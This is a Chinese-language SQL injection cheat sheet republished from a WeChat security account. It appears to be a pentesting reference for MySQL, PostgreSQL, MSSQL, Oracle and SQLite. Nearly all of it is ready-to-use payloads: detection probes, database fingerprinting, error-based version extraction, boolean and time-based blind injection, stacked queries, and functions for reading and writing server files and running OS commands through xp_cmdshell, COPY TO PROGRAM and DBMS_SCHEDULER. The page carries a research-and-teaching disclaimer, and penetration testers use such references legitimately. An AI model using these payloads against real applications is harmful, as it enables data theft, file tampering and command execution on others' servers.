SQL注入基础与各个数据库中的常用命令

admin 2025年2月24日22:27:02评论19 views字数 10196阅读33分59秒阅读模式
 

前言

这是一个 SQL 注入笔记,其中包含了很多常用的payload,涵盖了 5 种最流行的数据库及其衍生产品(MySQL、PostgreSQL、MSSQL/SQL Server、Oracle、SQLite)。

某些payload包含占位符,这些占位符在使用前需要被替换为具体的值。占位符以<>表示,并且使用大写字母,例如。替换时需替换整个占位符(包括<>)。

避免使用 OR(OR 1=1)

除了打 CTF之外,其他情况都要避免使用涉及 or 表达式的注入(例如 ' or  1=1 --),除非只能用or。

原因:

  1. 登录绕过不稳定

"OR 1=1" 在某些情况下可以绕过登录验证,但其效果并不稳定。通常是期望 SQL 查询返回一行匹配的数据(例如用户名和密码都正确)。如果使用 "OR 1=1",查询可能会返回多行数据(例如整个user表),这可能导致目标拒绝登录请求。例如,查询 SELECT * FROM users WHERE username = '' OR 1=1 AND password = '' 会返回所有用户,但如果目标只在查询返回单行时才允许登录,这种方法就会失效。相比之下,使用其他方法(如注释掉密码检查部分并配合有效用户名)可能更可靠,即 "OR 1=1" 的通用性不足。

  1. 可能导致数据库崩溃

在某些场景(如搜索功能)中注入 "OR 1=1" 会导致数据库返回表中的所有行。如果数据库表非常大,这种操作可能会引发性能问题,甚至导致数据库过载或系统崩溃。

  1. 数据操作风险高

当 "OR 1=1" 用于 UPDATE 或 DELETE 语句时,可能会意外修改或删除大量数据。例如,在重置密码的场景中,注入 "OR 1=1" 可能会导致所有用户的密码都被更改,而不仅仅是目标用户。这种操作可能引发数据丢失或损坏,风险极高。

安全的 or  payload

但实际上也存在安全的 or  注入payload,这些 payload 可以在没有查询参数的情况下使用。

数据库
Payload
MySQL
' OR IF((NOW()=SYSDATE()),SLEEP(1),1)='0
PostgreSQL
' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) < '0:0:1') THEN (SELECT '1'||PG_SLEEP(1)) ELSE '0' END)='1
MSSQL
No Known Payload
Oracle
' OR ROWNUM = '1
SQLite
' OR ROWID = '1

常用的测试方法

以下是一个简单通用的方法,用于发现基本的 SQL 注入漏洞,通过逐步操作来检测是否存在 SQL 注入。

第一步:尝试使用单引号让原有的 SQL 语句报错

首先,我们需要在某个有效的输入值中注入单引号(')或双引号("),以尝试让目标本身的sql语句报错。例如:

  • 假设有一个搜索功能,搜索关键词 fuck 返回 23 个结果。
  • 在搜索关键词后附加单引号,变为 fuck',然后提交。
  • 如果结果变为 0 个(或者直接报错),说明 SQL 语句可能因为我们插入了单引号而发生改变。注意:这也可能是因为 fuck' 本身是一个无效的搜索词,但后续步骤可以帮助我们确认。

第二步:尝试修复目标的sql语句检查是否恢复原始响应

可以尝试用以下方法替换注入的单引号,看看是否能恢复到原始响应(即 23 个结果)。依次尝试以下替换:

  • 将 fuck' 替换为 fuck' '(单引号后加空格和另一个单引号)
  • 将 fuck' 替换为 fuck'||'
  • 将 fuck' 替换为 fuck'+'
  • 将 fuck' 替换为 fuck' AND '1'='1
  • 将 fuck' 替换为 fuck' -- -

如果某个替换后的搜索词(如 fuck' ')再次返回 23 个结果,说明原始响应被恢复了,就表示这个搜索功能很可能存在 SQL 注入。

第三步:处理整数值的情况

如果以上方法都无法恢复原始响应,可能是因为我们注入的字段是一个整数值(而不是字符串)。在这种情况下,尝试以下方法:

  • 将 fuck' 替换为 fuck -- -
  • 将 fuck' 替换为 fuck AND 1=1
  • 将 fuck' 替换为 fuck AND 1=1 -- -

同样,如果某个替换后的搜索词恢复了原始响应(23 个结果),则说明可能存在 SQL 注入。

第四步:确认 SQL 注入漏洞

为了进一步确认是否存在 SQL 注入,可以尝试以下方法:

方法 1:尝试 UNION 方法

  • 构造一个 UNION 注入 payload,例如 fuck' UNION SELECT 1,2,3 -- -。
  • 如果返回结果异常(例如有额外的数据或有明显的数据库报错),则可以确定存在sql注入。

方法 2:注入布尔值 payload

  • 构造两个布尔值 payload:
    • fuck' AND '1'='1(应该返回原始响应,即 23 个结果)
    • fuck' AND '1'='0(应该返回 0 个结果)
  • 如果结果符合预期(第一个 payload 返回 23 个结果,第二个返回 0 个结果),则基本上可以确认存在 SQL 注入漏洞。

识别数据库

一旦通过上面的方法发现了sql注入,可以通过下面这些payload来识别到底是什么数据库。

编号
Payload
数据库类型
1
AND 'foo' 'bar' = 'foobar'
MySQL
2
AND DATALENGTH('foo') = 3
MSSQL
3
AND TO_HEX(1) = '1'
PostgreSQL
4
AND LENGTHB('foo') = '3'
Oracle
5
AND GLOB('foo*', 'foobar') = 1
SQLite

注释

注释语法可用于在 SQL 语句中添加注释,可以用于注释位于注入语句后的那些原本的内容,以及绕过某些过滤。需要注意"--"注释需要在"--"后加上空格才有效,而 /*comment*/  是行内注释。

MySQL
# --/*comment*/ 
PostgreSQL
--/*comment*/ 
MSSQL
--/*comment*/ 
Oracle
--/*comment*/ 
SQLite
--/*comment*/ 

字符串连接

这些函数/操作符可用于将两个或多个字符串连接在一起。

数据库
函数 / 操作符
MySQL
'foo' 'bar'CONCAT('foo', 'bar')
PostgreSQL
'foo'||'bar'CONCAT('foo', 'bar')
MSSQL
'foo'+'bar'CONCAT('foo', 'bar')
Oracle
'foo'||'bar'CONCAT('foo', 'bar')
SQLite
'foo'||'bar'CONCAT('foo', 'bar')

子字符串

这些函数可以用来选择一个字符串的子字符串。START 值应设置为 1(而不是 0),以便从第一个字符开始提取子字符串。还包括无逗号的版本,用于绕过某些 WAF(Web 应用防火墙)或过滤机制。

数据库
示例
说明
MySQL
SUBSTRING('foobar',,)SUBSTR('foobar',,)MID('foobar',,)SUBSTRING('foobar' FROMFOR)
SUBSTR

 和 MID 也可以用于这种无逗号的版本。
PostgreSQL
SUBSTRING('foobar',,)SUBSTR('foobar',,)SUBSTRING('foobar' FROMFOR)
MSSQL
SUBSTRING('foobar',,)
Oracle
SUBSTR('foobar',,)
SQLite
SUBSTRING('foobar',,)SUBSTR('foobar',,)

长度

这些函数以字节或字符为单位计算字符串的长度(由于 Unicode 的存在,某些字符可以有多个字节)。

数据库
示例
MySQL
LENGTH('foo')CHAR_LENGTH('foo')
PostgreSQL
LENGTH('foo')
MSSQL
DATALENGTH('foo')LEN('foo')
Oracle
LENGTHB('foo')LENGTH('foo')
SQLite
LENGTH('foo')

分组连接

这些函数将多行结果中的值连接成一个单独的字符串。用你希望分隔每个值的字符串或字符(例如逗号)替换。

什么是 GROUP_CONCAT?

  • GROUP_CONCAT 是一个聚合函数,主要在 MySQL 和 MariaDB 中使用(其他数据库如 PostgreSQL 有类似功能,例如 STRING_AGG)。
  • 它的作用是将一组行中的值(通常来自同一分组)连接成一个单一的字符串。
  • 常用于 GROUP BY 查询中,将多行数据合并为一行。
数据库
示例
MySQL
GROUP_CONCAT(expression, '')
PostgreSQL
STRING_AGG(expression, '')
MSSQL
STRING_AGG(expression, '')
Oracle
LISTAGG(expression, '')
SQLite
GROUP_CONCAT(expression, '')

将字符转换为整数用于进行比较

这对sql盲注很有用,可以确定字符所在的范围。注意,MySQL 和 Oracle 的函数输出的是十六进制数,而其他数据库输出的是十进制数。

数据库
例子
输出
MySQL
HEX('a')
61
PostgreSQL
ASCII('a')
97
MSSQL
UNICODE('a')
97
Oracle
RAWTOHEX('a')
61
SQLite
UNICODE('a')
97

限制与偏移查询

用于限制查询结果返回特定行数以及偏移起始行的语法,包括不使用逗号的语法,以便绕过某些 WAF(Web 应用防火墙)或过滤机制。

数据库
将查询结果限制为 1 行 限制为 1 行,从第 5 行开始
MySQL
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 4, 1SELECT * FROM users LIMIT 1 OFFSET 4
PostgreSQL
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 1 OFFSET 4
MSSQL
SELECT * FROM users ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY
SELECT * FROM users ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle >= v12
SELECT * FROM users FETCH NEXT 1 ROWS ONLY
SELECT * FROM users OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle <= v11
SELECT * FROM users WHERE ROWNUM = 1
SELECT * FROM users WHERE ROWNUM = 5
SQLite
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 4, 1SELECT * FROM users LIMIT 1 OFFSET 4

数据库版本

提供数据库版本信息的函数和操作符。

数据库
函数 / 运算符
MySQL
@@VERSIONVERSION()@@GLOBAL.VERSION
PostgreSQL
VERSION()
MSSQL
@@VERSION
Oracle
SELECT BANNER FROM vversion WHERE ROWNUM = 1
SQLite
sqlite_version()

数据库列表

查询数据库列表

数据库
语句
MySQL
SELECT DATABASE()
PostgreSQL
SELECT CURRENT_DATABASE()SELECT CURRENT_SCHEMA()
MSSQL
SELECT DB_NAME()SELECT SCHEMA_NAME()
Oracle
SELECT name FROM V$databaseSELECT * FROM global_nameSELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;
SQLite
N/A

数据库的表

查询指定数据库中的所有表

数据库
语法
MySQL
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=''SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name=''
PostgreSQL
SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'
MSSQL
SELECT table_name FROM information_schema.tables WHERE table_catalog=''SELECT name FROM..sysobjects WHERE xtype='U'
Oracle
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=''
SQLite
SELECT tbl_name FROM sqlite_master WHERE type='table'

表中的列

查询指定数据库中的表的所有列

数据库
语法
MySQL
SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<TABLE_NAME>' AND table_schema=''
PostgreSQL
SELECT column_name,data_type FROM information_schema.columns WHERE table_schema='' AND table_name='<TABLE_NAME>'
MSSQL
SELECT COL_NAME(OBJECT_ID('.<TABLE_NAME>'),)
Oracle
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER=''
SQLite
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')

布尔判断检测

这些payload会在SQL查询的时候引发报错,前提是1=1的条件为真,将1=1替换为你想要测试的条件;如果错误反馈到响应中(例如500内部服务器错误),那么该条件就是成立的。

数据库
Payload
MySQL
AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1))
PostgreSQL
AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END)
MSSQL
AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)
Oracle
AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)
SQLite
AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END)AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END)

报错检测

这些payload会导致数据库错误,并在错误中返回数据库的版本信息。

MySQL

Payload
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -

PostgreSQL

Payload
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
AND CAST((SELECT version()) AS INT)=1337 -- -
AND (SELECT version())::int=1 -- -

MSSQL

Payload
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
AND 1337=CONCAT('~',(SELECT @@version),'~') -- -

Oracle

Payload
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -

延时注入

简单的延时注入

请注意,这些payload本质上是有危险的,因为sleep函数可能会执行多次,它们将导致数据库在查询的每一行中休眠 10 秒。

只有在确定注入的查询只影响一条记录时,才可使用。

数据库
Payload
MySQL
AND SLEEP(10)=0
PostgreSQL
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
MSSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

复杂一些的延时注入

这些payload是相对安全的,只能休眠一次,将1=1替换为要测试的语句即可,如果延迟了十秒,则为真

数据库
Payload
MySQL
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)
PostgreSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)

堆叠注入

数据库
Payload
MySQL
; SLEEP(10) -- -
PostgreSQL
; PG_SLEEP(10) -- -
MSSQL
; WAITFOR DELAY '0:0:10' -- -
Oracle
; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- -
SQLite
; RANDOMBLOB(1000000000/2) -- -

下列payload中,如果 1=1 成立,这些payload就会导致 10 秒的延迟。将 1=1 替换为你想要测试的条件;如果出现 10 秒的延迟,就说明该条件成立。

数据库
Payload
MySQL
; SELECT IF((1=1),SLEEP(10),1337)
PostgreSQL
; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL
; IF(1=1) WAITFOR DELAY '0:0:10'
Oracle
; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL
SQLite
; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)

读取文件

这些函数可以读取本地文件的内容。另外,只有在可以进行堆叠注入的情况下,才能使用 Oracle 方法。SQLite 的 readfile 函数并非其核心函数。

数据库
函数
MySQL
LOAD_FILE('/path/to/file')
PostgreSQL
PG_READ_FILE('/path/to/file')
MSSQL
OPENROWSET(BULK 'C:pathtofile', SINGLE_CLOB)
Oracle
utl_file.get_line(utl_file.fopen('/path/to/','file','R'),)
SQLite
readfile('/path/to/file')

写入文件

这些语句可以将内容写入本地文件。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和 Oracle 的方法。MSSQL 需要启用 “Ole Automation Procedures”。

数据库
语句
MySQL
SELECT 'contents' INTO OUTFILE '/path/to/file'
PostgreSQL
COPY (SELECT 'contents') TO '/path/to/file'
MSSQL
execute spWriteStringToFile 'contents', 'C:pathto', 'file'
Oracle
utl_file.put_line(utl_file.fopen('/path/to/','file','R'),)
SQLite
SELECT writefile('/path/to/file', column_name) FROM table_name

执行命令

这些语句执行本地操作系统命令。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和第二种 Oracle 方法。第一种 Oracle 方法需要使用 OS_Command 包。

数据库
语句
MySQL
Not Possible
PostgreSQL
COPY (SELECT '') to program ''
MSSQL
EXEC xp_cmdshell ''
Oracle
SELECT os_command.exec_clob('') cmd from dualDBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '', enabled => TRUE)
SQLite
 

原文始发于微信公众号(棉花糖fans):建议收藏:SQL注入基础与各个数据库中的常用命令

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日22:27:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入基础与各个数据库中的常用命令https://cn-sec.com/archives/3772755.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息